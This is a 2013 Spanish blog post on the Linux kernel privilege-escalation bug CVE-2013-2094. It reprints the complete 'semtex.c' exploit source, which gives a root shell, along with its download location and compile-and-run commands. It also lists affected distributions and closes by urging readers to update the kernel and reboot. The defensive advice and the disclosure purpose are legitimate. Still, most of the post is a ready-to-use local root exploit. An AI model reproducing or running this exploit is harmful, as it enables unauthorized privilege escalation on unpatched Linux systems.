sábado, 25 de mayo de 2013

Bug Kenel Linux: CVE-2013-2094

Bueno, aprovecho para comentar el último bug que ha salido para Linux, que es un 1clic2root. Debido a un fallo en el kernel desde la versión 2.6.37 a la 3.8.10 (en Centos a partir del kernel 2.6.32).

Básicamente es descargar o crear el siguiente archivo: fucksheep.org/~sd/warez/semtex.c
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 [email protected], salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;

for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)&current[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}

void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}

int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\[email protected] 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}

Una vez lo tengamos, es tan sencillo como ejecutar como un usuario normal (no root):
gcc -O2 semtex.c
./a.out

Y nos devolverá una shell con acceso root. Resumen: si consiguen acceder con un usuario normal y somos vulnerables, en un segundo consiguen el root y nos joden. Puede que digais que teneis una contraseña irrompible, y será cierto, pero podeis tener un burejo en el Joomla, Drupal, Wordpress de turno y con que metan una simple webshell estamos jodidos.

Las ediciones vulnerables serían:
RHEL 6, Centos 6, Scientific Linux 6, Oracle Linux 6
Debian Wheezy.
Debian Jessie.
Ubuntu 10.04
Ubuntu 12.04
Ubuntu 12.10

Si tienes una de esas versiones, haz un "uname -a" para comprobar la versión del kernel que tienes. Y en última instancia haz la prueba con el exploit.

Las que no tienen un kernel vulnerable serían:
RHEL 4.
RHEL 5.
Fedora 17.
Fedora 18.
Debian Squeeze.
Ubuntu 13.04.

En el caso de Centos 6, si no hemos actualizado nunca, es posible que no tengamos un kernel vulnerable. Por otro lado, haría falta tener instalado el gcc-4.6 para que lo pudiesen compilar, por lo que he leido con el gcc-4.5 no funciona.

A estas alturas el bug está parcheado, por lo que tendremos que hacer un yum update/ apt-get upgrade para que se instale el último kernel y reiniciar la máquina. Es muy importante actualizar, ya sabéis, es mejor un downtime de 5 min a que te revienten la máquina.

¡Saludos!